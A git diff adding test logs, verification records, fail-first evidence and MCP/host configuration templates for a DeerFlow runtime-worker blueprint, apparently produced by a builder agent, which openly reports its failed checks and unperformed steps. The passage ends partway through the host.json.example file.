--git a/blueprints/runtime-workers/deerflow/evidence/round2-cleanup-red.txt b/blueprints/runtime-workers/deerflow/evidence/round2-cleanup-red.txt new file mode 100644 index 000000000..66ded4f24 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/round2-cleanup-red.txt @@ -0,0 +1,20 @@ +test_literal_cleanup_continues_after_already_absent_resource (__main__.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource) ... ERROR + +====================================================================== +ERROR: test_literal_cleanup_continues_after_already_absent_resource (__main__.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 66, in test_literal_cleanup_continues_after_already_absent_resource + renderer.lifecycle("down") + ~~~~~~~~~~~~~~~~~~^^^^^^^^ + File "/blueprints/runtime-workers/deerflow/recipe.py", line 290, in lifecycle + docker(settings, "rm", "--force", "rw-deerflow-" + name) + ~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + File "/tests/test_runtime_worker_deerflow.py", line 62, in docker + raise subprocess.CalledProcessError(1, args, stderr="Error: No such container or network") +subprocess.CalledProcessError: Command '('rm', '--force', 'rw-deerflow-nginx')' returned non-zero exit status 1. + +---------------------------------------------------------------------- +Ran 1 test in 0.015s + +FAILED (errors=1) diff --git a/blueprints/runtime-workers/deerflow/evidence/round2-fail-first.json b/blueprints/runtime-workers/deerflow/evidence/round2-fail-first.json new file mode 100644 index 000000000..54e370b57 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/round2-fail-first.json @@ -0,0 +1,77 @@ +{ + "evidence_class": "Offline local integration fail-first observations from this builder turn, not upstream/native acceptance", + "results": [ + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_owned_compose_resources_and_loopback_ports -v", + "exit_code": 1, + "observed_result": "AssertionError: 'runtime-worker-deerflow' != 'rw-deerflow'" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_gateway_structured_output_uses_upstream_tool_calling DeerFlowRecipeTests.test_gateway_rejects_non_gpt6_model_routes -v", + "exit_code": 1, + "observed_result": "FAILED (errors=2): missing method policy and missing worker_model" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_skills_use_coordinator_project_installer -v", + "exit_code": 1, + "observed_result": "AttributeError: module 'deerflow_skills' has no attribute 'install_skills'" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_adapter_preserves_known_pass_and_fail_without_a_local_verdict DeerFlowRecipeTests.test_adapter_rejects_missing_malformed_and_unfinished_output -v", + "exit_code": 1, + "observed_result": "FAILED (errors=2): read_completion did not exist" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_inspect_solver_transports_only_input_and_preserves_upstream_task -v", + "exit_code": 1, + "observed_result": "FileNotFoundError: e2e/gaia.py did not exist" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts -v", + "exit_code": 1, + "observed_result": "AttributeError: module 'deerflow_run' has no attribute 'run_worker'" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads -v", + "exit_code": 1, + "observed_result": "FAILED (errors=2): missing transport and skills_listed_at_start receipt fields" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_grader_install_and_launch_use_exact_upstream_pins -v", + "exit_code": 1, + "observed_result": "AttributeError: module 'deerflow_grader_install' has no attribute 'install_grader'" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_gateway_headers_preserve_affinity_and_new_call_identity -v", + "exit_code": 1, + "observed_result": "AssertionError: lead/child x-omniroute-session hashes differed" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource -v", + "exit_code": 1, + "observed_result": "CalledProcessError on the first already absent container; later literal cleanup calls were not made" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 tests/test_runtime_worker_deerflow.py DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts -v", + "exit_code": 1, + "observed_result": "Malformed native version data=null interrupted receipt writing with AttributeError; repaired while preserving transport rejection." + } + ], + "additional_failed_attempts": [ + { + "command": "solver seam before loader-path correction", + "exit_code": 1, + "result": "ModuleNotFoundError: receipt; corrected test import boundary before behavioral red run" + }, + { + "command": "initial solver green attempt with OS asyncio executor", + "exit_code": 130, + "result": "Interrupted after hang; bounded independent asyncio.to_thread reproduction exited 1 in executor shutdown" + }, + { + "command": "inline shell Python ast.parse", + "exit_code": 1, + "result": "SyntaxError: unmatched ')'; corrected and parsed successfully" + } + ] +} diff --git a/blueprints/runtime-workers/deerflow/evidence/round2-malformed-red.txt b/blueprints/runtime-workers/deerflow/evidence/round2-malformed-red.txt new file mode 100644 index 000000000..0fcb7c053 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/round2-malformed-red.txt @@ -0,0 +1,29 @@ +test_transport_runs_owned_container_and_retains_failed_attempts (__main__.DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts) ... ERROR + +====================================================================== +ERROR: test_transport_runs_owned_container_and_retains_failed_attempts (__main__.DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/blueprints/runtime-workers/deerflow/e2e/run.py", line 94, in run_worker + completion = read_completion(run / "framework-events.jsonl") + File "/blueprints/runtime-workers/deerflow/e2e/check.py", line 28, in read_completion + raise ValueError("malformed native event") +ValueError: malformed native event + +During handling of the above exception, another exception occurred: + +Traceback (most recent call last): + File "/tests/test_runtime_worker_deerflow.py", line 250, in test_transport_runs_owned_container_and_retains_failed_attempts + runner.run_worker("unchanged question", "frozen", 3) + ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + File "/blueprints/runtime-workers/deerflow/e2e/run.py", line 98, in run_worker + receipt = build_receipt(run, Path.home() / ".local/share/omniroute/storage.sqlite", pins) + File "/blueprints/runtime-workers/deerflow/e2e/receipt.py", line 160, in build_receipt + candidate = record.get("data", {}).get("framework_version") + ^^^^^^^^^^^^^^^^^^^^^^^^^^ +AttributeError: 'NoneType' object has no attribute 'get' + +---------------------------------------------------------------------- +Ran 1 test in 0.030s + +FAILED (errors=1) diff --git a/blueprints/runtime-workers/deerflow/evidence/round2-repository.txt b/blueprints/runtime-workers/deerflow/evidence/round2-repository.txt new file mode 100644 index 000000000..385052769 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/round2-repository.txt @@ -0,0 +1,31 @@ +Publication validation failed: +blueprints/runtime-workers/deerflow/README.md: SHA-256 mismatch +blueprints/runtime-workers/deerflow/README.md: byte count mismatch +blueprints/runtime-workers/deerflow/compose.json.template: SHA-256 mismatch +blueprints/runtime-workers/deerflow/compose.json.template: byte count mismatch +blueprints/runtime-workers/deerflow/e2e/check.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/e2e/check.py: byte count mismatch +blueprints/runtime-workers/deerflow/e2e/drive.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/e2e/drive.py: byte count mismatch +blueprints/runtime-workers/deerflow/e2e/receipt.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/e2e/receipt.py: byte count mismatch +blueprints/runtime-workers/deerflow/e2e/run.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/e2e/run.py: byte count mismatch +blueprints/runtime-workers/deerflow/e2e/task.md: SHA-256 mismatch +blueprints/runtime-workers/deerflow/e2e/task.md: byte count mismatch +blueprints/runtime-workers/deerflow/host.json.example: SHA-256 mismatch +blueprints/runtime-workers/deerflow/host.json.example: byte count mismatch +blueprints/runtime-workers/deerflow/pins.json: SHA-256 mismatch +blueprints/runtime-workers/deerflow/pins.json: byte count mismatch +blueprints/runtime-workers/deerflow/recipe.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/recipe.py: byte count mismatch +blueprints/runtime-workers/deerflow/run-e2e.sh: SHA-256 mismatch +blueprints/runtime-workers/deerflow/run-e2e.sh: byte count mismatch +blueprints/runtime-workers/deerflow/runtime/gateway_headers.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/runtime/gateway_headers.py: byte count mismatch +blueprints/runtime-workers/deerflow/runtime/gateway_model.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/runtime/gateway_model.py: byte count mismatch +blueprints/runtime-workers/deerflow/runtime/preflight.py: SHA-256 mismatch +blueprints/runtime-workers/deerflow/runtime/preflight.py: byte count mismatch +tests/test_runtime_worker_deerflow.py: SHA-256 mismatch +tests/test_runtime_worker_deerflow.py: byte count mismatch diff --git a/blueprints/runtime-workers/deerflow/evidence/round2-syntax.txt b/blueprints/runtime-workers/deerflow/evidence/round2-syntax.txt new file mode 100644 index 000000000..0819b6114 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/round2-syntax.txt @@ -0,0 +1,2 @@ +AST: 11 Python files; JSON: 14 files; shell: 8 files and inline Python; git diff --check: passed +Worktree __pycache__ directories: 0 diff --git a/blueprints/runtime-workers/deerflow/evidence/round2-unit.txt b/blueprints/runtime-workers/deerflow/evidence/round2-unit.txt new file mode 100644 index 000000000..3e4923b12 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/round2-unit.txt @@ -0,0 +1,26 @@ +test_adapter_preserves_known_pass_and_fail_without_a_local_verdict (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_adapter_preserves_known_pass_and_fail_without_a_local_verdict) ... ok +test_adapter_rejects_missing_malformed_and_unfinished_output (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_adapter_rejects_missing_malformed_and_unfinished_output) ... ok +test_gateway_headers_preserve_affinity_and_new_call_identity (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_headers_preserve_affinity_and_new_call_identity) ... ok +test_gateway_reader_is_read_only_and_uses_only_approved_columns (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns) ... ok +test_gateway_rejects_non_gpt6_model_routes (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_rejects_non_gpt6_model_routes) ... ok +test_gateway_structured_output_uses_upstream_tool_calling (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_structured_output_uses_upstream_tool_calling) ... ok +test_grader_install_and_launch_use_exact_upstream_pins (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_grader_install_and_launch_use_exact_upstream_pins) ... ok +test_inspect_solver_transports_only_input_and_preserves_upstream_task (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_inspect_solver_transports_only_input_and_preserves_upstream_task) ... ok +test_literal_cleanup_continues_after_already_absent_resource (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource) ... ok +test_mcp_launches_preserve_the_adoption_commands (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_mcp_launches_preserve_the_adoption_commands) ... ok +test_model_context_and_container_contract (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract) ... ok +test_native_trace_distinguishes_skill_inventory_metadata_and_loads (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads) ... ok +test_native_trace_does_not_count_failed_children_as_completed (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_does_not_count_failed_children_as_completed) ... ok +test_owned_compose_resources_and_loopback_ports (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_owned_compose_resources_and_loopback_ports) ... ok +test_pins_and_script_boundaries (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_pins_and_script_boundaries) ... ok +test_real_upstream_gaia_known_pass_and_fail_controls (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_real_upstream_gaia_known_pass_and_fail_controls) ... skipped 'pinned upstream grader unavailable; installation prohibited in builder' +test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped) ... ok +test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) ... ok +test_skills_use_coordinator_project_installer (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_skills_use_coordinator_project_installer) ... ok +test_tool_limits_are_enforced_not_only_described (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_tool_limits_are_enforced_not_only_described) ... ok +test_transport_runs_owned_container_and_retains_failed_attempts (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts) ... ok + +---------------------------------------------------------------------- +Ran 21 tests in 0.234s + +OK (skipped=1) diff --git a/blueprints/runtime-workers/deerflow/evidence/round2-verification.json b/blueprints/runtime-workers/deerflow/evidence/round2-verification.json new file mode 100644 index 000000000..92965a99c --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/round2-verification.json @@ -0,0 +1,65 @@ +{ + "schema_version": 1, + "date": "2026-09-27", + "scope": "DeerFlow Round-2 recipe and offline integration; lane:foundation", + "evidence_class": "local integration tests and source review; no new upstream benchmark/provider acceptance", + "results": [ + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -p test_runtime_worker_deerflow.py -v", + "exit_code": 0, + "result": "21 tests run: 20 passed, 1 explicitly skipped (real pinned upstream scorer unavailable)", + "returned_output": "round2-unit.txt" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py", + "exit_code": 1, + "result": "30 SHA-256/byte-count mismatches for 15 changed files in coordinator-owned manifests/evidence.json; no other reported errors", + "returned_output": "round2-repository.txt" + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 Python AST/JSON parse; bash -n; inline shell Python AST parse; git diff --check; cache-directory check", + "exit_code": 0, + "result": "AST: 11 Python files; JSON: 14 files; shell: 8 files and inline Python; git diff --check: passed\nWorktree __pycache__ directories: 0", + "returned_output": "round2-syntax.txt" + } + ], + "fail_first": "round2-fail-first.json", + "raw_negative_controls": [ + "round2-cleanup-red.txt", + "round2-malformed-red.txt" + ], + "grader": { + "primary": "Inspect Evals GAIA v0.22.0", + "commit": "41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "runtime": "Inspect AI 0.3.271", + "runtime_commit": "c2b63a0b0560f9c3b5b5230365e0a8fe08cd3df0", + "scorer": "unchanged gaia_scorer", + "executed": false + }, + "ownership": { + "published_host_ports": [ + "127.0.0.1:3771" + ], + "prefix": "rw-deerflow-", + "label": "com.native-agent-stack.owner=gpt6-omniroute-framework-integration", + "named_docker_volumes": 0 + }, + "pending": [ + "coordinator skills PR (manifest/project-dir/universal interface)", + "coordinator shared evidence-manifest refresh after integration", + "pinned grader install and real known-pass/fail scorer controls", + "native HF access, frozen no-attachment GAIA validation ID and benchmark/A-B runs", + "native image/runtime/MCP/skills/gateway/persistence/cancellation qualification" + ], + "boundaries": { + "installed_on_host": false, + "services_started": false, + "images_pulled": false, + "runtime_model_invocations": 0, + "runtime_provider_usage": null, + "committed": false, + "pushed": false, + "shared_manifest_changed": false + }, + "corrections": "../round2-research.json#/anti_pattern_log" +} diff --git a/blueprints/runtime-workers/deerflow/evidence/syntax.txt b/blueprints/runtime-workers/deerflow/evidence/syntax.txt new file mode 100644 index 000000000..b2508f5d0 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/syntax.txt @@ -0,0 +1,2 @@ +{"status": "passed", "syntax_files": {"python": 10, "shell": 8, "json": 10}, "whitespace": "checked delivered source/config; retained raw command output excluded"} + diff --git a/blueprints/runtime-workers/deerflow/evidence/unit.txt b/blueprints/runtime-workers/deerflow/evidence/unit.txt new file mode 100644 index 000000000..4a639f1d6 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/unit.txt @@ -0,0 +1,16 @@ +test_checker_accepts_a_computed_result_and_rejects_hard_coding (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_checker_accepts_a_computed_result_and_rejects_hard_coding) ... ok +test_gateway_headers_preserve_affinity_and_new_call_identity (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_headers_preserve_affinity_and_new_call_identity) ... ok +test_gateway_reader_is_read_only_and_uses_only_approved_columns (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns) ... ok +test_mcp_launches_preserve_the_adoption_commands (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_mcp_launches_preserve_the_adoption_commands) ... ok +test_model_context_and_container_contract (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract) ... ok +test_native_trace_does_not_count_failed_children_as_completed (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_does_not_count_failed_children_as_completed) ... ok +test_pins_and_script_boundaries (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_pins_and_script_boundaries) ... ok +test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped) ... ok +test_reviewable_recipe_and_empty_result_rejection (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) ... ok +test_tool_limits_are_enforced_not_only_described (test_runtime_worker_deerflow.DeerFlowRecipeTests.test_tool_limits_are_enforced_not_only_described) ... ok + +---------------------------------------------------------------------- +Ran 10 tests in 0.303s + +OK + diff --git a/blueprints/runtime-workers/deerflow/evidence/verification.json b/blueprints/runtime-workers/deerflow/evidence/verification.json new file mode 100644 index 000000000..5d80bda4b --- /dev/null +++ b/blueprints/runtime-workers/deerflow/evidence/verification.json @@ -0,0 +1,130 @@ +{ + "schema_version": 1, + "date": "2026-09-27", + "evidence_class": "offline local integration and structural checks", + "source": "bytedance/deer-flow v2.1.0 at 345f08be00c8a9495079b732a39b46aa9af1584e; see research.json and pins.json", + "fail_first": { + "command": "python3 -m unittest discover -s tests -p test_runtime_worker_deerflow.py -v", + "exit_code": 1, + "result": "FAILED (failures=11, errors=4)", + "recipe_files_absent": true, + "returned_output_file": "fail-first.txt" + }, + "final_checks": [ + { + "name": "unit", + "command": "python3 -W error::ResourceWarning -m unittest discover -s tests -p test_runtime_worker_deerflow.py -v", + "exit_code": 0, + "returned_output_file": "unit.txt", + "result": "Ran 10 tests; OK" + }, + { + "name": "syntax", + "command": "python3 - <<'PY'\nimport json, subprocess\nfrom pathlib import Path\nroot=Path('blueprints/runtime-workers/deerflow')\nfiles=[p for p in root.rglob('*') if p.is_file() and '.research' not in p.parts and '__pycache__' not in p.parts]\ncounts={'python':0,'shell':0,'json':0}\nfor path in [*files, Path('tests/test_runtime_worker_deerflow.py')]:\n if path.suffix == '.py':\n compile(path.read_text(), str(path), 'exec'); counts['python']+=1\n elif path.suffix == '.sh':\n shell='bash' if path.parent==root else 'sh'\n subprocess.run([shell,'-n',str(path)],check=True); counts['shell']+=1\n elif path.suffix in ('.json','.template','.example'):\n json.loads(path.read_text()); counts['json']+=1\n if path.suffix not in ('.pyc','.txt'):\n assert all(line.rstrip()==line for line in path.read_text().splitlines()), path.name\nprint(json.dumps({'status':'passed','syntax_files':counts,'whitespace':'checked delivered source/config; retained raw command output excluded'}))\nPY", + "exit_code": 0, + "returned_output_file": "syntax.txt", + "result": "Python/shell/JSON syntax passed; source/config whitespace passed" + }, + { + "name": "diff", + "command": "git diff --check", + "exit_code": 0, + "returned_output_file": null, + "result": "No whitespace errors in tracked diff" + }, + { + "name": "repository", + "command": "python3 scripts/validate.py", + "exit_code": 0, + "returned_output_file": "repository.txt", + "result": "passed; integrity and scope only", + "repeated_after_evidence_write": true + }, + { + "name": "artifacts", + "command": "stdlib SHA256/JSON/local-link audit and git status --porcelain --untracked-files=all", + "exit_code": 0, + "returned_output_file": "artifacts.txt", + "result": "29 recipe payload hashes and offline test hash match; local README links resolve; changed paths within the authorized recipe/test scope." + } + ], + "additional_returned_attempts": "followup-checks.json", + "source_audit": { + "configuration_sections_checked_against_pinned_source_ast": 23, + "unknown_fields": [], + "upstream_lockfile_hash_matches": 2, + "limitation": "AST shape comparison is not Pydantic/runtime validation; model passthrough reviewed separately against LangChain source." + }, + "warnings": [ + "Tracked git diff is empty while new files are untracked; the separate syntax/whitespace check inspected delivered source files.", + "A whitespace check initially rejected a trailing space in retained unittest output. The output was preserved unchanged and raw .txt logs were excluded from source-whitespace checks." + ], + "unchanged_upstream_tests": { + "executed": false, + "command_provided": "bash lifecycle.sh upstream-tests" + }, + "host_acceptance": { + "executed": false, + "installer_executed": false, + "images_pulled": false, + "services_started": false, + "live_gateway_database_read": false, + "model_calls": 0, + "token_usage": null, + "token_usage_reason": "No model or provider invocation was performed; no provider usage was measured.", + "pending": [ + "private host dependency mounts and QMD snapshot", + "image digests/revision verification after pull", + "Compose config, startup and loopback binding", + "native upstream test subset", + "MCP discovery and actual tool results", + "referenced skills visible in native runtime", + "actual Responses/max/streaming/header forwarding and prompt caching", + "frozen task and independent checker", + "exclusive gateway-window attribution", + "timeout cancellation/cleanup", + "restart/recovery and persistence" + ] + }, + "scope": { + "allowed_changes": [ + "blueprints/runtime-workers/deerflow/", + "tests/test_runtime_worker_deerflow.py" + ], + "git_metadata_written": false, + "shared_manifests_changed": false, + "trading_paths_changed": false + }, + "delivered_file_sha256": { + ".gitignore": "e45917dd7b440fbd1c22bd736185121a7bee518481d164b2963f5c0075dc3edb", + "README.md": "b415c09a4f4212bddcaa5487bf051ff01068ae3b9da19bff0b5c1f347bfc0c6c", + "compose.json.template": "17d0e5454874d236a330451f183c615eea31f0b59de82e26c305833f63fe41f5", + "config.yaml.template": "37a1b5bf651358ac56c667920b0527c46b76053f0ddadaa67e4fd322c10de6b8", + "defaults.json": "18d1a1183471c110ea1ad0bb35468c1fe6ae08156a6d0d5e1e7d3d14b4602e96", + "e2e/check.py": "11205522696ff272773438d9c5d31fd1458520a3338bb432e9fbf83cb4522447", + "e2e/drive.py": "bbe45a6b50aec39cd7de91a44f8305c1902f0d705a23294438b6e4dc9ec1908e", + "e2e/expected.json": "e0ce9a88c8160152b3e1aa1e8d456dda690e6fbf155cb4260aaab04fc309fe41", + "e2e/receipt.py": "12a22518201be4e6941c0d8a973c98b5971819859bff975d0d2348d659400885", + "e2e/run.py": "df811508667313995aef6e0c7abdde3a9b4ac6cf68b88e2ffd5eb320eeb7ddd8", + "e2e/task.md": "752f493a7a9b522464d1f52ad09ea2edbf794e98eb512ff9b6b468ca26decdbf", + "extensions_config.json.template": "f2b6270d2ccd404c11425d348a18c0b57f561c1260495cfd1a85df43571c6d4e", + "host.json.example": "592316aa46ba4705bb5389c93c8612b3c548474762e96694b310bf948a7dfd76", + "install.sh": "55583f70dda2a84f33ed8d15fb1e3b2671fb2454b52cd5fd177bf174669d4fcf", + "lifecycle.sh": "d975500081382db565b786c693df288defe4d7abca39c801daac7c78cb2a7f39", + "pins.json": "daf6343c7ba0a5c1bf6467d3250a5b0c87d5dc2e795d67a403f7929d6ed3e858", + "recipe.py": "5255073c96098301ad8291238859db8cd7a8041a0d0f7f865493e8adc1babb7d", + "research.json": "c401025560888ca978609f26bbb5eeaa8ff0f2f52279292ec9d5b02b97cc3281", + "run-e2e.sh": "26e6902baa8579d22b1629562f76830d6bdc08cbd77fb2bbfa983532d9677fe6", + "runtime/frontend-start.sh": "31c5523812bd6be031df233f1a31e84380a012a40b190b245a2ccf553d0f46ae", + "runtime/gateway-start.sh": "8d4570e6bf8e097d188a931381321854d91a56d1863a43fc25da8e7b1f8e5b85", + "runtime/gateway_headers.py": "d33f3d1053dc67fb6f2655a508a3992b3dcacdc659f183dd07e7e71039046825", + "runtime/gateway_model.py": "ff892c7cbf6a1e4620ca75d2ff0f1a076c0f696f773105eab1c69c4af91492f5", + "runtime/nginx-start.sh": "046b05e78ae08cebee7510108dc6329ff20e28702ac99a78e27ee431448b63a0", + "runtime/preflight.py": "a11c9ff15ab50eb676ab7454a203259ee6bdb9ed0b2e7655472a53529872349e", + "runtime/redis-start.sh": "f3a38ee9e11db625ebe5f0b83d49093b7089f4f403e250fa66692ac25ab7da62", + "runtime/stdio.sh": "c2574cf58651121a2280a7b220ab437213d15427c30b426f0e742ba3aaf6c659", + "runtime/tool-policy.json": "a28ab9d1813028527671b19259de43a51cbc1af79f0d1c92b8f3d99a647a1b31", + "runtime/worker_policy.py": "0d5a2f51a2ccdde7187cb43f9a172c22fb8ce9ddcdb52ee83bdf283674b183dc" + }, + "offline_test_sha256": "6b70ac77aa8cc50d8eaf4a534fe2e77db838a78d22b0b39174f3f991f4bf2878" +} diff --git a/blueprints/runtime-workers/deerflow/extensions_config.json.template b/blueprints/runtime-workers/deerflow/extensions_config.json.template new file mode 100644 index 000000000..f7a805a9a --- /dev/null +++ b/blueprints/runtime-workers/deerflow/extensions_config.json.template @@ -0,0 +1,119 @@ +{ + "mcpServers": { + "context-mode": { + "enabled": true, + "type": "stdio", + "command": "/runtime/stdio.sh", + "args": [ + "${ECO_ROOT}/bin/node", + "${ECO_ROOT}/tools/context-mode-1.0.169/lib/node_modules/context-mode/start.mjs" + ], + "env": { + "RTK_TELEMETRY_DISABLED": "1", + "PATH": "${ECO_ROOT}/bin:${HOST_PATH}", + "CONTEXT_MODE_PLATFORM": "codex", + "CONTEXT_MODE_PROJECT_DIR": "/work" + }, + "tool_name_prefix": true, + "session_init_timeout": 120, + "tool_call_timeout": 120 + }, + "serena": { + "enabled": true, + "type": "stdio", + "command": "/runtime/stdio.sh", + "args": [ + "${ECO_ROOT}/bin/serena", + "start-mcp-server", + "--transport", + "stdio", + "--project-from-cwd", + "--context", + "codex", + "--enable-web-dashboard", + "false", + "--open-web-dashboard", + "false", + "--enable-gui-log-window", + "false" + ], + "env": { + "RTK_TELEMETRY_DISABLED": "1", + "PATH": "${ECO_ROOT}/bin:${HOST_PATH}" + }, + "tool_name_prefix": true, + "session_init_timeout": 120, + "tool_call_timeout": 120 + }, + "jcodemunch": { + "enabled": true, + "type": "stdio", + "command": "/runtime/stdio.sh", + "args": [ + "${ECO_ROOT}/bin/jcodemunch-mcp" + ], + "env": { + "RTK_TELEMETRY_DISABLED": "1", + "PATH": "${ECO_ROOT}/bin:${HOST_PATH}", + "CODE_INDEX_PATH": "/state/mcp/jcodemunch", + "JCODEMUNCH_SHARE_SAVINGS": "0" + }, + "tool_name_prefix": true, + "session_init_timeout": 120, + "tool_call_timeout": 120 + }, + "qmd": { + "enabled": true, + "type": "stdio", + "command": "/runtime/stdio.sh", + "args": [ + "${ECO_ROOT}/bin/qmd", + "--index", + "native-agent-stack-catalog", + "mcp" + ], + "env": {}, + "tool_name_prefix": true, + "session_init_timeout": 120, + "tool_call_timeout": 120 + }, + "socraticode": { + "enabled": false, + "type": "stdio", + "command": "/runtime/stdio.sh", + "args": [ + "${ECO_ROOT}/bin/node", + "${ECO_ROOT}/tools/socraticode-1.15.0/lib/node_modules/socraticode/dist/index.js" + ], + "env": { + "RTK_TELEMETRY_DISABLED": "1", + "PATH": "${ECO_ROOT}/bin:${HOST_PATH}", + "QDRANT_MODE": "external", + "QDRANT_URL": "http://${QDRANT_URL}", + "EMBEDDING_PROVIDER": "lmstudio", + "LMSTUDIO_URL": "http://${EMBED_URL}/v1", + "EMBEDDING_MODEL": "nvidia/Nemotron-3-Embed-1B-BF16", + "EMBEDDING_DIMENSIONS": "2048", + "EMBEDDING_CONTEXT_LENGTH": "4096", + "EMBEDDING_QUERY_PREFIX": "query: ", + "EMBEDDING_DOCUMENT_PREFIX": "passage: ", + "EMBEDDING_DOCUMENT_INCLUDE_PATH": "true", + "RESPECT_GITIGNORE": "true", + "INCLUDE_DOT_FILES": "false", + "SOCRATICODE_WATCHER": "manual", + "SEARCH_DEFAULT_LIMIT": "3" + }, + "tool_name_prefix": true, + "session_init_timeout": 120, + "tool_call_timeout": 120 + }, + "ai-memory": { + "enabled": false, + "type": "http", + "url": "http://10.0.2.2:49474/mcp", + "tool_name_prefix": true, + "session_init_timeout": 60 + } + }, + "skills": {} +} diff --git a/blueprints/runtime-workers/deerflow/host.json.example b/blueprints/runtime-workers/deerflow/host.json.example new file mode 100644 index 000000000..a15de7cb6 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/host.json.example @@ -0,0 +1,43 @@ +{ + "docker_bin": "/ABSOLUTE/PATH/TO/rootless-docker/bin/docker", + "variables": { + "ECO_ROOT": "/ABSOLUTE/PATH/TO/codex-ecosystem", + "HOST_PATH": "/usr/local/bin:/usr/bin:/bin", + "QDRANT_URL": "10.0.2.2:LOCAL_QDRANT_PORT", + "EMBED_URL": "10.0.2.2:18232" + }, + "mcp_mounts": [ + { + "source": "/ABSOLUTE/PATH/TO/codex-ecosystem/bin", + "target": "/ABSOLUTE/PATH/TO/codex-ecosystem/bin", + 